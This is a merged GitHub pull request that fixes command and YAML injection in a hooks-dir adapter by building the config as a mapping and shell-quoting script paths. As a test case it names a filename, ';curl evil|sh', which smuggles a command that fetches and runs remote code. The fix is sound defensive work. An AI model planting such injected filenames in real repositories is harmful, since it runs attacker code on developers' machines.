Skip to content

fix: build hooks-dir config programmatically and quote script paths#35

Merged
alecthomas merged 1 commit into
block:mainfrom
walter-square:walter-square/hooks-dir-filename-handling
Jun 11, 2026
Merged

fix: build hooks-dir config programmatically and quote script paths#35
alecthomas merged 1 commit into
block:mainfrom
walter-square:walter-square/hooks-dir-filename-handling

Conversation

@walter-square

Copy link
Copy Markdown
Contributor

The Problem

The hooks-dir adapter turns scripts found in a repo's .hooks//git-hooks/ directory into lefthook run: commands. Filenames there are repo-controlled, and today the adapter builds the config by format!-ing YAML text with the filename interpolated and then re-parsing it — and the resulting run: value is handed to sh -c. That leaves two ways a crafted filename can bite:

  • YAML structure: a filename containing : or a newline can inject into the generated YAML.
  • Shell: even a well-formed YAML string still carries the raw filename into a command the shell runs, so ;, |, $(), backticks, etc. in a filename execute.

The Fix

This code reworks generate_config to build the lefthook config as a serde_yaml::Value::Mapping directly — no string concatenation, so the library handles all YAML quoting — and shell-quotes the script path (POSIX single-quoting, with ' escaped as '\'') before it goes into the run: string. The {0} git-args template stays outside the quotes so arguments are still forwarded (consistent with the husky and git-lfs adapters).

Net behavior change vs. today: the run line goes from .hooks/<name> {0} to '.hooks/<name>' {0}. Scripts with ordinary names are unaffected; scripts with unusual names now run correctly as a single quoted word instead of being mis-parsed or injected.

Testing

  • cargo test (150 passing),
  • cargo fmt --check,
  • cargo clippy clean.
  • New tests cover
    • shell_quote (including an embedded single quote),
    • confirm a ;curl evil|sh filename is emitted as one quoted word rather than shell syntax,
    • exercise single-quote and leading-dash filenames through generate_config, and
    • assert the config round-trips through YAML serialize/parse unchanged (the form lefthook actually reads).

@alecthomas alecthomas merged commit fe40203 into block:main Jun 11, 2026
5 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants